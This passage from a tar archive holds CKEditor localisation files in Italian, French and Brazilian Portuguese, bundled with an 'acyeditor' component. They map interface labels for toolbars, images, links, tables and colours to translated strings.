2","tag_h3":"Titolo 3","tag_h4":"Titolo 4","tag_h5":"Titolo 5","tag_h6":"Titolo 6","tag_p":"Normale","tag_pre":"Formattato"},"horizontalrule":{"toolbar":"Inserisci riga orizzontale"},"image":{"alertUrl":"Devi inserire l'URL per l'immagine","alt":"Testo alternativo","border":"Bordo","btnUpload":"Invia al server","button2Img":"Vuoi trasformare il bottone immagine selezionato in un'immagine semplice?","hSpace":"HSpace","img2Button":"Vuoi trasferomare l'immagine selezionata in un bottone immagine?","infoTab":"Informazioni immagine","linkTab":"Collegamento","lockRatio":"Blocca rapporto","menu":"Proprietà immagine","resetSize":"Reimposta dimensione","title":"Proprietà immagine","titleButton":"Proprietà bottone immagine","upload":"Carica","urlMissing":"Manca l'URL dell'immagine.","vSpace":"VSpace","validateBorder":"Il campo Bordo deve essere un numero intero.","validateHSpace":"Il campo HSpace deve essere un numero intero.","validateVSpace":"Il campo VSpace deve essere un numero intero."},"indent":{"indent":"Aumenta rientro","outdent":"Riduci rientro"},"justify":{"block":"Giustifica","center":"Centra","left":"Allinea a sinistra","right":"Allinea a destra"},"fakeobjects":{"anchor":"Ancora","flash":"Animazione Flash","hiddenfield":"Campo Nascosto","iframe":"IFrame","unknown":"Oggetto sconosciuto"},"link":{"acccessKey":"Scorciatoia da tastiera","advanced":"Avanzate","advisoryContentType":"Tipo della risorsa collegata","advisoryTitle":"Titolo","anchor":{"toolbar":"Inserisci/Modifica Ancora","menu":"Proprietà ancora","title":"Proprietà ancora","name":"Nome ancora","errorName":"Inserici il nome dell'ancora","remove":"Rimuovi l'ancora"},"anchorId":"Per id elemento","anchorName":"Per Nome","charset":"Set di caretteri della risorsa collegata","cssClasses":"Nome classe CSS","emailAddress":"Indirizzo E-Mail","emailBody":"Corpo del messaggio","emailSubject":"Oggetto del messaggio","id":"Id","info":"Informazioni collegamento","langCode":"Direzione scrittura","langDir":"Direzione scrittura","langDirLTR":"Da Sinistra a Destra (LTR)","langDirRTL":"Da Destra a Sinistra (RTL)","menu":"Modifica collegamento","name":"Nome","noAnchors":"(Nessuna ancora disponibile nel documento)","noEmail":"Devi inserire un'indirizzo e-mail","noUrl":"Devi inserire l'URL del collegamento","other":"<altro>","popupDependent":"Dipendente (Netscape)","popupFeatures":"Caratteristiche finestra popup","popupFullScreen":"A tutto schermo (IE)","popupLeft":"Posizione da sinistra","popupLocationBar":"Barra degli indirizzi","popupMenuBar":"Barra del menu","popupResizable":"Ridimensionabile","popupScrollBars":"Barre di scorrimento","popupStatusBar":"Barra di stato","popupToolbar":"Barra degli strumenti","popupTop":"Posizione dall'alto","rel":"Relazioni","selectAnchor":"Scegli Ancora","styles":"Stile","tabIndex":"Ordine di tabulazione","target":"Destinazione","targetFrame":"<riquadro>","targetFrameName":"Nome del riquadro di destinazione","targetPopup":"<finestra popup>","targetPopupName":"Nome finestra popup","title":"Collegamento","toAnchor":"Ancora nel testo","toEmail":"E-Mail","toUrl":"URL","toolbar":"Collegamento","type":"Tipo di Collegamento","unlink":"Elimina collegamento","upload":"Carica"},"list":{"bulletedlist":"Inserisci/Rimuovi Elenco Puntato","numberedlist":"Inserisci/Rimuovi Elenco Numerato"},"maximize":{"maximize":"Massimizza","minimize":"Minimizza"},"pastefromword":{"confirmCleanup":"Il testo da incollare sembra provenire da Word. Desideri pulirlo prima di incollare?","error":"Non è stato possibile eliminare il testo incollato a causa di un errore interno.","title":"Incolla da Word","toolbar":"Incolla da Word"},"pastetext":{"button":"Incolla come testo semplice","title":"Incolla come testo semplice"},"removeformat":{"toolbar":"Elimina formattazione"},"sourcearea":{"toolbar":"Sorgente"},"stylescombo":{"label":"Stili","panelTitle":"Stili di formattazione","panelTitle1":"Stili per blocchi","panelTitle2":"Stili in linea","panelTitle3":"Stili per oggetti"},"table":{"border":"Dimensione bordo","caption":"Intestazione","cell":{"menu":"Cella","insertBefore":"Inserisci Cella Prima","insertAfter":"Inserisci Cella Dopo","deleteCell":"Elimina celle","merge":"Unisce celle","mergeRight":"Unisci a Destra","mergeDown":"Unisci in Basso","splitHorizontal":"Dividi Cella Orizzontalmente","splitVertical":"Dividi Cella Verticalmente","title":"Proprietà della cella","cellType":"Tipo di cella","rowSpan":"Su più righe","colSpan":"Su più colonne","wordWrap":"Ritorno a capo","hAlign":"Allineamento orizzontale","vAlign":"Allineamento verticale","alignBaseline":"Linea Base","bgColor":"Colore di Sfondo","borderColor":"Colore del Bordo","data":"Dati","header":"Intestazione","yes":"Si","no":"No","invalidWidth":"La larghezza della cella dev'essere un numero.","invalidHeight":"L'altezza della cella dev'essere un numero.","invalidRowSpan":"Il numero di righe dev'essere un numero intero.","invalidColSpan":"Il numero di colonne dev'essere un numero intero.","chooseColor":"Scegli"},"cellPad":"Padding celle","cellSpace":"Spaziatura celle","column":{"menu":"Colonna","insertBefore":"Inserisci Colonna Prima","insertAfter":"Inserisci Colonna Dopo","deleteColumn":"Elimina colonne"},"columns":"Colonne","deleteTable":"Cancella Tabella","headers":"Intestazione","headersBoth":"Entrambe","headersColumn":"Prima Colonna","headersNone":"Nessuna","headersRow":"Prima Riga","invalidBorder":"La dimensione del bordo dev'essere un numero.","invalidCellPadding":"Il paging delle celle dev'essere un numero","invalidCellSpacing":"La spaziatura tra le celle dev'essere un numero.","invalidCols":"Il numero di colonne dev'essere un numero maggiore di 0.","invalidHeight":"L'altezza della tabella dev'essere un numero.","invalidRows":"Il numero di righe dev'essere un numero maggiore di 0.","invalidWidth":"La larghezza della tabella dev'essere un numero.","menu":"Proprietà tabella","row":{"menu":"Riga","insertBefore":"Inserisci Riga Prima","insertAfter":"Inserisci Riga Dopo","deleteRow":"Elimina righe"},"rows":"Righe","summary":"Indice","title":"Proprietà tabella","toolbar":"Tabella","widthPc":"percento","widthPx":"pixel","widthUnit":"unità larghezza"},"toolbar":{"toolbarCollapse":"Minimizza Toolbar","toolbarExpand":"Espandi Toolbar","toolbarGroups":{"document":"Documento","clipboard":"Copia negli appunti/Annulla","editing":"Modifica","forms":"Form","basicstyles":"Stili di base","paragraph":"Paragrafo","links":"Link","insert":"Inserisci","styles":"Stili","colors":"Colori","tools":"Strumenti"},"toolbars":"Editor toolbar"},"undo":{"redo":"Ripristina","undo":"Annulla"},"sourcedialog":{"toolbar":"Sorgente","title":"Sorgente"},"acymediabrowser":{"toolbar":"Immagine"},"addtag":{"toolbar":"Tags"},"smiley":{"toolbar":"Emojis"}};                                                                            editors/acyeditor/acyeditor/ckeditor/lang/fr.js                                                     0000705                 00000030235 15242051521 0015653 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.lang['fr']={"editor":"Éditeur de Texte Enrichi","editorPanel":"Tableau de bord de l'éditeur de texte enrichi","common":{"editorHelp":"Appuyez sur ALT-0 pour l'aide","browseServer":"Explorer le serveur","url":"URL","protocol":"Protocole","upload":"Envoyer","uploadSubmit":"Envoyer sur le serveur","image":"Image","flash":"Flash","form":"Formulaire","checkbox":"Case à cocher","radio":"Bouton Radio","textField":"Champ texte","textarea":"Zone de texte","hiddenField":"Champ caché","button":"Bouton","select":"Liste déroulante","imageButton":"Bouton image","notSet":"<non défini>","id":"Id","name":"Nom","langDir":"Sens d'écriture","langDirLtr":"Gauche à droite (LTR)","langDirRtl":"Droite à gauche (RTL)","langCode":"Code de langue","longDescr":"URL de description longue (longdesc => malvoyant)","cssClass":"Classe CSS","advisoryTitle":"Description (title)","cssStyle":"Style","ok":"OK","cancel":"Annuler","close":"Fermer","preview":"Aperçu","resize":"Déplacer pour modifier la taille","generalTab":"Général","advancedTab":"Avancé","validateNumberFailed":"Cette valeur n'est pas un nombre.","confirmNewPage":"Les changements non sauvegardés seront perdus. Êtes-vous sûr de vouloir charger une nouvelle page?","confirmCancel":"Certaines options ont été modifiées. Êtes-vous sûr de vouloir fermer?","options":"Options","target":"Cible (Target)","targetNew":"Nouvelle fenêtre (_blank)","targetTop":"Fenêtre supérieure (_top)","targetSelf":"Même fenêtre (_self)","targetParent":"Fenêtre parent (_parent)","langDirLTR":"Gauche à Droite (LTR)","langDirRTL":"Droite à Gauche (RTL)","styles":"Style","cssClasses":"Classes de style","width":"Largeur","height":"Hauteur","align":"Alignement","alignLeft":"Gauche","alignRight":"Droite","alignCenter":"Centré","alignJustify":"Justifier","alignTop":"Haut","alignMiddle":"Milieu","alignBottom":"Bas","alignNone":"Aucun","invalidValue":"Valeur incorrecte.","invalidHeight":"La hauteur doit être un nombre.","invalidWidth":"La largeur doit être un nombre.","invalidCssLength":"La valeur spécifiée pour le champ \"%1\" doit être un nombre positif avec ou sans unité de mesure CSS valide (px, %, in, cm, mm, em, ex, pt, ou pc).","invalidHtmlLength":"La valeur spécifiée pour le champ \"%1\" doit être un nombre positif avec ou sans unité de mesure HTML valide (px ou %).","invalidInlineStyle":"La valeur spécifiée pour le style inline doit être composée d'un ou plusieurs couples de valeur au format \"nom : valeur\", separés par des points-virgules.","cssLengthTooltip":"Entrer un nombre pour une valeur en pixels ou un nombre avec une unité de mesure CSS valide (px, %, in, cm, mm, em, ex, pt, ou pc).","unavailable":"%1<span class=\"cke_accessibility\">, Indisponible</span>"},"basicstyles":{"bold":"Gras","italic":"Italique","strike":"Barré","subscript":"Indice","superscript":"Exposant","underline":"Souligné"},"blockquote":{"toolbar":"Citation"},"clipboard":{"copy":"Copier","copyError":"Les paramètres de sécurité de votre navigateur ne permettent pas à l'éditeur d'exécuter automatiquement des opérations de copie. Veuillez utiliser le raccourci clavier (Ctrl/Cmd+C).","cut":"Couper","cutError":"Les paramètres de sécurité de votre navigateur ne permettent pas à l'éditeur d'exécuter automatiquement l'opération \"couper\". Veuillez utiliser le raccourci clavier (Ctrl/Cmd+X).","paste":"Coller","pasteArea":"Coller la zone","pasteMsg":"Veuillez coller le texte dans la zone suivante en utilisant le raccourci clavier (<strong>Ctrl/Cmd+V</strong>) et cliquez sur OK.","securityMsg":"A cause des paramètres de sécurité de votre navigateur, l'éditeur n'est pas en mesure d'accéder directement à vos données contenues dans le presse-papier. Vous devriez réessayer de coller les données dans la fenêtre.","title":"Coller"},"button":{"selectedLabel":"%1 (Sélectionné)"},"colorbutton":{"auto":"Automatique","bgColorTitle":"Couleur d'arrière plan","colors":{"000":"Noir","800000":"Marron","8B4513":"Brun moyen","2F4F4F":"Vert sombre","008080":"Canard","000080":"Bleu marine","4B0082":"Indigo","696969":"Gris foncé","B22222":"Rouge brique","A52A2A":"Brun","DAA520":"Or terni","006400":"Vert foncé","40E0D0":"Turquoise","0000CD":"Bleu royal","800080":"Pourpre","808080":"Gris","F00":"Rouge","FF8C00":"Orange foncé","FFD700":"Or","008000":"Vert","0FF":"Cyan","00F":"Bleu","EE82EE":"Violet","A9A9A9":"Gris moyen","FFA07A":"Saumon","FFA500":"Orange","FFFF00":"Jaune","00FF00":"Lime","AFEEEE":"Turquoise clair","ADD8E6":"Bleu clair","DDA0DD":"Prune","D3D3D3":"Gris clair","FFF0F5":"Fard Lavande","FAEBD7":"Blanc antique","FFFFE0":"Jaune clair","F0FFF0":"Honeydew","F0FFFF":"Azur","F0F8FF":"Bleu Alice","E6E6FA":"Lavande","FFF":"Blanc"},"more":"Plus de couleurs...","panelTitle":"Couleurs","textColorTitle":"Couleur de texte"},"colordialog":{"clear":"Effacer","highlight":"Détails","options":"Option des couleurs","selected":"Couleur choisie","title":"Choisir une couleur"},"contextmenu":{"options":"Options du menu contextuel"},"elementspath":{"eleLabel":"Elements path","eleTitle":"%1 éléments"},"font":{"fontSize":{"label":"Taille","voiceLabel":"Taille de police","panelTitle":"Taille de police"},"label":"Police","panelTitle":"Style de police","voiceLabel":"Police"},"format":{"label":"Format","panelTitle":"Format de paragraphe","tag_address":"Adresse","tag_div":"Normal (DIV)","tag_h1":"Titre 1","tag_h2":"Titre 2","tag_h3":"Titre 3","tag_h4":"Titre 4","tag_h5":"Titre 5","tag_h6":"Titre 6","tag_p":"Normal","tag_pre":"Formaté"},"horizontalrule":{"toolbar":"Ligne horizontale"},"image":{"alertUrl":"Veuillez entrer l'adresse de l'image","alt":"Texte de remplacement","border":"Bordure","btnUpload":"Envoyer sur le serveur","button2Img":"Voulez-vous transformer le bouton image sélectionné en simple image?","hSpace":"Espacement horizontal","img2Button":"Voulez-vous transformer l'image en bouton image?","infoTab":"Informations sur l'image","linkTab":"Lien","lockRatio":"Conserver les proportions","menu":"Propriétés de l'image","resetSize":"Taille d'origine","title":"Propriétés de l'image","titleButton":"Propriétés du bouton image","upload":"Envoyer","urlMissing":"L'adresse source de l'image est manquante.","vSpace":"Espacement vertical","validateBorder":"Bordure doit être un entier.","validateHSpace":"HSpace doit être un entier.","validateVSpace":"VSpace doit être un entier."},"indent":{"indent":"Augmenter le retrait (tabulation)","outdent":"Diminuer le retrait (tabulation)"},"justify":{"block":"Justifier","center":"Centrer","left":"Aligner à gauche","right":"Aligner à droite"},"fakeobjects":{"anchor":"Ancre","flash":"Animation Flash","hiddenfield":"Champ caché","iframe":"IFrame","unknown":"Objet inconnu"},"link":{"acccessKey":"Touche d'accessibilité","advanced":"Avancé","advisoryContentType":"Type de contenu (ex: text/html)","advisoryTitle":"Description (title)","anchor":{"toolbar":"Ancre","menu":"Editer l'ancre","title":"Propriétés de l'ancre","name":"Nom de l'ancre","errorName":"Veuillez entrer le nom de l'ancre.","remove":"Supprimer l'ancre"},"anchorId":"Par ID d'élément","anchorName":"Par nom d'ancre","charset":"Charset de la cible","cssClasses":"Classe CSS","emailAddress":"Adresse E-Mail","emailBody":"Corps du message","emailSubject":"Sujet du message","id":"Id","info":"Infos sur le lien","langCode":"Code de langue","langDir":"Sens d'écriture","langDirLTR":"Gauche à droite","langDirRTL":"Droite à gauche","menu":"Editer le lien","name":"Nom","noAnchors":"(Aucune ancre disponible dans ce document)","noEmail":"Veuillez entrer l'adresse e-mail","noUrl":"Veuillez entrer l'adresse du lien","other":"<autre>","popupDependent":"Dépendante (Netscape)","popupFeatures":"Options de la fenêtre popup","popupFullScreen":"Plein écran (IE)","popupLeft":"Position gauche","popupLocationBar":"Barre d'adresse","popupMenuBar":"Barre de menu","popupResizable":"Redimensionnable","popupScrollBars":"Barres de défilement","popupStatusBar":"Barre de status","popupToolbar":"Barre d'outils","popupTop":"Position haute","rel":"Relation","selectAnchor":"Sélectionner l'ancre","styles":"Style","tabIndex":"Index de tabulation","target":"Cible","targetFrame":"<cadre>","targetFrameName":"Nom du Cadre destination","targetPopup":"<fenêtre popup>","targetPopupName":"Nom de la fenêtre popup","title":"Lien","toAnchor":"Ancre","toEmail":"E-mail","toUrl":"URL","toolbar":"Lien","type":"Type de lien","unlink":"Supprimer le lien","upload":"Envoyer"},"list":{"bulletedlist":"Insérer/Supprimer la liste à puces","numberedlist":"Insérer/Supprimer la liste numérotée"},"maximize":{"maximize":"Agrandir","minimize":"Minimiser"},"pastefromword":{"confirmCleanup":"Le texte à coller semble provenir de Word. Désirez-vous le nettoyer avant de coller?","error":"Il n'a pas été possible de nettoyer les données collées à la suite d'une erreur interne.","title":"Coller depuis Word","toolbar":"Coller depuis Word"},"pastetext":{"button":"Coller comme texte sans mise en forme","title":"Coller comme texte sans mise en forme"},"removeformat":{"toolbar":"Supprimer la mise en forme"},"sourcearea":{"toolbar":"Source"},"stylescombo":{"label":"Styles","panelTitle":"Styles de mise en page","panelTitle1":"Styles de blocs","panelTitle2":"Styles en ligne","panelTitle3":"Styles d'objet"},"table":{"border":"Taille de la bordure","caption":"Titre du tableau","cell":{"menu":"Cellule","insertBefore":"Insérer une cellule avant","insertAfter":"Insérer une cellule après","deleteCell":"Supprimer les cellules","merge":"Fusionner les cellules","mergeRight":"Fusionner à droite","mergeDown":"Fusionner en bas","splitHorizontal":"Fractionner horizontalement","splitVertical":"Fractionner verticalement","title":"Propriétés de la cellule","cellType":"Type de cellule","rowSpan":"Fusion de lignes","colSpan":"Fusion de colonnes","wordWrap":"Césure","hAlign":"Alignement Horizontal","vAlign":"Alignement Vertical","alignBaseline":"Bas du texte","bgColor":"Couleur d'arrière-plan","borderColor":"Couleur de Bordure","data":"Données","header":"Entête","yes":"Oui","no":"Non","invalidWidth":"La Largeur de Cellule doit être un nombre.","invalidHeight":"La Hauteur de Cellule doit être un nombre.","invalidRowSpan":"La fusion de lignes doit être un nombre entier.","invalidColSpan":"La fusion de colonnes doit être un nombre entier.","chooseColor":"Choisissez"},"cellPad":"Marge interne des cellules","cellSpace":"Espacement des cellules","column":{"menu":"Colonnes","insertBefore":"Insérer une colonne avant","insertAfter":"Insérer une colonne après","deleteColumn":"Supprimer les colonnes"},"columns":"Colonnes","deleteTable":"Supprimer le tableau","headers":"En-Têtes","headersBoth":"Les deux","headersColumn":"Première colonne","headersNone":"Aucunes","headersRow":"Première ligne","invalidBorder":"La taille de la bordure doit être un nombre.","invalidCellPadding":"La marge intérieure des cellules doit être un nombre positif.","invalidCellSpacing":"L'espacement des cellules doit être un nombre positif.","invalidCols":"Le nombre de colonnes doit être supérieur à 0.","invalidHeight":"La hauteur du tableau doit être un nombre.","invalidRows":"Le nombre de lignes doit être supérieur à 0.","invalidWidth":"La largeur du tableau doit être un nombre.","menu":"Propriétés du tableau","row":{"menu":"Ligne","insertBefore":"Insérer une ligne avant","insertAfter":"Insérer une ligne après","deleteRow":"Supprimer les lignes"},"rows":"Lignes","summary":"Résumé (description)","title":"Propriétés du tableau","toolbar":"Tableau","widthPc":"% pourcents","widthPx":"pixels","widthUnit":"unité de largeur"},"toolbar":{"toolbarCollapse":"Enrouler la barre d'outils","toolbarExpand":"Dérouler la barre d'outils","toolbarGroups":{"document":"Document","clipboard":"Presse-papier/Défaire","editing":"Editer","forms":"Formulaires","basicstyles":"Styles de base","paragraph":"Paragraphe","links":"Liens","insert":"Insérer","styles":"Styles","colors":"Couleurs","tools":"Outils"},"toolbars":"Barre d'outils de l'éditeur"},"undo":{"redo":"Rétablir","undo":"Annuler"},"sourcedialog":{"toolbar":"Source","title":"Source"},"acymediabrowser":{"toolbar":"Images"},"addtag":{"toolbar":"Balises"},"smiley":{"toolbar":"Emojis"}};                                                                                                                                                                                                                                                                                                                                                                   editors/acyeditor/acyeditor/ckeditor/lang/index.html                                                0000705                 00000000054 15242051521 0016677 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <html><body bgcolor="#FFFFFF"></body></html>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    editors/acyeditor/acyeditor/ckeditor/lang/pt-br.js                                                  0000705                 00000027646 15242051521 0016304 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.html or http://ckeditor.com/license
*/
CKEDITOR.lang['pt-br']={"editor":"Editor de Rich Text","editorPanel":"Painel do editor de Rich Text","common":{"editorHelp":"Pressione ALT+0 para ajuda","browseServer":"Localizar no Servidor","url":"URL","protocol":"Protocolo","upload":"Enviar ao Servidor","uploadSubmit":"Enviar para o Servidor","image":"Imagem","flash":"Flash","form":"Formulário","checkbox":"Caixa de Seleção","radio":"Botão de Opção","textField":"Caixa de Texto","textarea":"Área de Texto","hiddenField":"Campo Oculto","button":"Botão","select":"Caixa de Listagem","imageButton":"Botão de Imagem","notSet":"<não ajustado>","id":"Id","name":"Nome","langDir":"Direção do idioma","langDirLtr":"Esquerda para Direita (LTR)","langDirRtl":"Direita para Esquerda (RTL)","langCode":"Idioma","longDescr":"Descrição da URL","cssClass":"Classe de CSS","advisoryTitle":"Título","cssStyle":"Estilos","ok":"OK","cancel":"Cancelar","close":"Fechar","preview":"Visualizar","resize":"Arraste para redimensionar","generalTab":"Geral","advancedTab":"Avançado","validateNumberFailed":"Este valor não é um número.","confirmNewPage":"Todas as mudanças não salvas serão perdidas. Tem certeza de que quer abrir uma nova página?","confirmCancel":"Algumas opções foram alteradas. Tem certeza de que quer fechar a caixa de diálogo?","options":"Opções","target":"Destino","targetNew":"Nova Janela (_blank)","targetTop":"Janela de Cima (_top)","targetSelf":"Mesma Janela (_self)","targetParent":"Janela Pai (_parent)","langDirLTR":"Esquerda para Direita (LTR)","langDirRTL":"Direita para Esquerda (RTL)","styles":"Estilo","cssClasses":"Classes","width":"Largura","height":"Altura","align":"Alinhamento","alignLeft":"Esquerda","alignRight":"Direita","alignCenter":"Centralizado","alignJustify":"Justificar","alignTop":"Superior","alignMiddle":"Centralizado","alignBottom":"Inferior","alignNone":"Nenhum","invalidValue":"Valor inválido.","invalidHeight":"A altura tem que ser um número","invalidWidth":"A largura tem que ser um número.","invalidCssLength":"O valor do campo \"%1\" deve ser um número positivo opcionalmente seguido por uma válida unidade de medida de CSS (px, %, in, cm, mm, em, ex, pt ou pc).","invalidHtmlLength":"O valor do campo \"%1\" deve ser um número positivo opcionalmente seguido por uma válida unidade de medida de HTML (px ou %).","invalidInlineStyle":"O valor válido para estilo deve conter uma ou mais tuplas no formato \"nome : valor\", separados por ponto e vírgula.","cssLengthTooltip":"Insira um número para valor em pixels ou um número seguido de uma válida unidade de medida de CSS (px, %, in, cm, mm, em, ex, pt ou pc).","unavailable":"%1<span class=\"cke_accessibility\">, indisponível</span>"},"basicstyles":{"bold":"Negrito","italic":"Itálico","strike":"Tachado","subscript":"Subscrito","superscript":"Sobrescrito","underline":"Sublinhado"},"blockquote":{"toolbar":"Citação"},"clipboard":{"copy":"Copiar","copyError":"As configurações de segurança do seu navegador não permitem que o editor execute operações de copiar automaticamente. Por favor, utilize o teclado para copiar (Ctrl/Cmd+C).","cut":"Recortar","cutError":"As configurações de segurança do seu navegador não permitem que o editor execute operações de recortar automaticamente. Por favor, utilize o teclado para recortar (Ctrl/Cmd+X).","paste":"Colar","pasteArea":"Área para Colar","pasteMsg":"Transfira o link usado na caixa usando o teclado com (<STRONG>Ctrl/Cmd+V</STRONG>) e <STRONG>OK</STRONG>.","securityMsg":"As configurações de segurança do seu navegador não permitem que o editor acesse os dados da área de transferência diretamente. Por favor cole o conteúdo manualmente nesta janela.","title":"Colar"},"button":{"selectedLabel":"%1 (Selecionado)"},"colorbutton":{"auto":"Automático","bgColorTitle":"Cor do Plano de Fundo","colors":{"000":"Preto","800000":"Foquete","8B4513":"Marrom 1","2F4F4F":"Cinza 1","008080":"Cerceta","000080":"Azul Marinho","4B0082":"Índigo","696969":"Cinza 2","B22222":"Tijolo de Fogo","A52A2A":"Marrom 2","DAA520":"Vara Dourada","006400":"Verde Escuro","40E0D0":"Turquesa","0000CD":"Azul Médio","800080":"Roxo","808080":"Cinza 3","F00":"Vermelho","FF8C00":"Laranja Escuro","FFD700":"Dourado","008000":"Verde","0FF":"Ciano","00F":"Azul","EE82EE":"Violeta","A9A9A9":"Cinza Escuro","FFA07A":"Salmão Claro","FFA500":"Laranja","FFFF00":"Amarelo","00FF00":"Lima","AFEEEE":"Turquesa Pálido","ADD8E6":"Azul Claro","DDA0DD":"Ameixa","D3D3D3":"Cinza Claro","FFF0F5":"Lavanda 1","FAEBD7":"Branco Antiguidade","FFFFE0":"Amarelo Claro","F0FFF0":"Orvalho","F0FFFF":"Azure","F0F8FF":"Azul Alice","E6E6FA":"Lavanda 2","FFF":"Branco"},"more":"Mais Cores...","panelTitle":"Cores","textColorTitle":"Cor do Texto"},"colordialog":{"clear":"Limpar","highlight":"Grifar","options":"Opções de Cor","selected":"Cor Selecionada","title":"Selecione uma Cor"},"contextmenu":{"options":"Opções Menu de Contexto"},"elementspath":{"eleLabel":"Caminho dos Elementos","eleTitle":"Elemento %1"},"font":{"fontSize":{"label":"Tamanho","voiceLabel":"Tamanho da fonte","panelTitle":"Tamanho"},"label":"Fonte","panelTitle":"Fonte","voiceLabel":"Fonte"},"format":{"label":"Formatação","panelTitle":"Formatação","tag_address":"Endereço","tag_div":"Normal (DIV)","tag_h1":"Título 1","tag_h2":"Título 2","tag_h3":"Título 3","tag_h4":"Título 4","tag_h5":"Título 5","tag_h6":"Título 6","tag_p":"Normal","tag_pre":"Formatado"},"horizontalrule":{"toolbar":"Inserir Linha Horizontal"},"image":{"alertUrl":"Por favor, digite a URL da imagem.","alt":"Texto Alternativo","border":"Borda","btnUpload":"Enviar para o Servidor","button2Img":"Deseja transformar o botão de imagem em uma imagem comum?","hSpace":"HSpace","img2Button":"Deseja transformar a imagem em um botão de imagem?","infoTab":"Informações da Imagem","linkTab":"Link","lockRatio":"Travar Proporções","menu":"Formatar Imagem","resetSize":"Redefinir para o Tamanho Original","title":"Formatar Imagem","titleButton":"Formatar Botão de Imagem","upload":"Enviar","urlMissing":"URL da imagem está faltando.","vSpace":"VSpace","validateBorder":"A borda deve ser um número inteiro.","validateHSpace":"O HSpace deve ser um número inteiro.","validateVSpace":"O VSpace deve ser um número inteiro."},"indent":{"indent":"Aumentar Recuo","outdent":"Diminuir Recuo"},"justify":{"block":"Justificado","center":"Centralizar","left":"Alinhar Esquerda","right":"Alinhar Direita"},"fakeobjects":{"anchor":"Âncora","flash":"Animação em Flash","hiddenfield":"Campo Oculto","iframe":"IFrame","unknown":"Objeto desconhecido"},"link":{"acccessKey":"Chave de Acesso","advanced":"Avançado","advisoryContentType":"Tipo de Conteúdo","advisoryTitle":"Título","anchor":{"toolbar":"Inserir/Editar Âncora","menu":"Formatar Âncora","title":"Formatar Âncora","name":"Nome da Âncora","errorName":"Por favor, digite o nome da âncora","remove":"Remover Âncora"},"anchorId":"Id da âncora","anchorName":"Nome da âncora","charset":"Charset do Link","cssClasses":"Classe de CSS","emailAddress":"Endereço E-Mail","emailBody":"Corpo da Mensagem","emailSubject":"Assunto da Mensagem","id":"Id","info":"Informações","langCode":"Direção do idioma","langDir":"Direção do idioma","langDirLTR":"Esquerda para Direita (LTR)","langDirRTL":"Direita para Esquerda (RTL)","menu":"Editar Link","name":"Nome","noAnchors":"(Não há âncoras no documento)","noEmail":"Por favor, digite o endereço de e-mail","noUrl":"Por favor, digite o endereço do Link","other":"<outro>","popupDependent":"Dependente (Netscape)","popupFeatures":"Propriedades da Janela Pop-up","popupFullScreen":"Modo Tela Cheia (IE)","popupLeft":"Esquerda","popupLocationBar":"Barra de Endereços","popupMenuBar":"Barra de Menus","popupResizable":"Redimensionável","popupScrollBars":"Barras de Rolagem","popupStatusBar":"Barra de Status","popupToolbar":"Barra de Ferramentas","popupTop":"Topo","rel":"Tipo de Relação","selectAnchor":"Selecione uma âncora","styles":"Estilos","tabIndex":"Índice de Tabulação","target":"Destino","targetFrame":"<frame>","targetFrameName":"Nome do Frame de Destino","targetPopup":"<janela popup>","targetPopupName":"Nome da Janela Pop-up","title":"Editar Link","toAnchor":"Âncora nesta página","toEmail":"E-Mail","toUrl":"URL","toolbar":"Inserir/Editar Link","type":"Tipo de hiperlink","unlink":"Remover Link","upload":"Enviar ao Servidor"},"list":{"bulletedlist":"Lista sem números","numberedlist":"Lista numerada"},"maximize":{"maximize":"Maximizar","minimize":"Minimize"},"pastefromword":{"confirmCleanup":"O texto que você deseja colar parece ter sido copiado do Word. Você gostaria de remover a formatação antes de colar?","error":"Não foi possível limpar os dados colados devido a um erro interno","title":"Colar do Word","toolbar":"Colar do Word"},"pastetext":{"button":"Colar como Texto sem Formatação","title":"Colar como Texto sem Formatação"},"removeformat":{"toolbar":"Remover Formatação"},"sourcearea":{"toolbar":"Código-Fonte"},"stylescombo":{"label":"Estilo","panelTitle":"Estilos de Formatação","panelTitle1":"Estilos de bloco","panelTitle2":"Estilos de texto corrido","panelTitle3":"Estilos de objeto"},"table":{"border":"Borda","caption":"Legenda","cell":{"menu":"Célula","insertBefore":"Inserir célula a esquerda","insertAfter":"Inserir célula a direita","deleteCell":"Remover Células","merge":"Mesclar Células","mergeRight":"Mesclar com célula a direita","mergeDown":"Mesclar com célula abaixo","splitHorizontal":"Dividir célula horizontalmente","splitVertical":"Dividir célula verticalmente","title":"Propriedades da célula","cellType":"Tipo de célula","rowSpan":"Linhas cobertas","colSpan":"Colunas cobertas","wordWrap":"Quebra de palavra","hAlign":"Alinhamento horizontal","vAlign":"Alinhamento vertical","alignBaseline":"Patamar de alinhamento","bgColor":"Cor de fundo","borderColor":"Cor das bordas","data":"Dados","header":"Cabeçalho","yes":"Sim","no":"Não","invalidWidth":"A largura da célula tem que ser um número.","invalidHeight":"A altura da célula tem que ser um número.","invalidRowSpan":"Linhas cobertas tem que ser um número inteiro.","invalidColSpan":"Colunas cobertas tem que ser um número inteiro.","chooseColor":"Escolher"},"cellPad":"Margem interna","cellSpace":"Espaçamento","column":{"menu":"Coluna","insertBefore":"Inserir coluna a esquerda","insertAfter":"Inserir coluna a direita","deleteColumn":"Remover Colunas"},"columns":"Colunas","deleteTable":"Apagar Tabela","headers":"Cabeçalho","headersBoth":"Ambos","headersColumn":"Primeira coluna","headersNone":"Nenhum","headersRow":"Primeira linha","invalidBorder":"O tamanho da borda tem que ser um número.","invalidCellPadding":"A margem interna das células tem que ser um número.","invalidCellSpacing":"O espaçamento das células tem que ser um número.","invalidCols":"O número de colunas tem que ser um número maior que 0.","invalidHeight":"A altura da tabela tem que ser um número.","invalidRows":"O número de linhas tem que ser um número maior que 0.","invalidWidth":"A largura da tabela tem que ser um número.","menu":"Formatar Tabela","row":{"menu":"Linha","insertBefore":"Inserir linha acima","insertAfter":"Inserir linha abaixo","deleteRow":"Remover Linhas"},"rows":"Linhas","summary":"Resumo","title":"Formatar Tabela","toolbar":"Tabela","widthPc":"%","widthPx":"pixels","widthUnit":"unidade largura"},"toolbar":{"toolbarCollapse":"Diminuir Barra de Ferramentas","toolbarExpand":"Aumentar Barra de 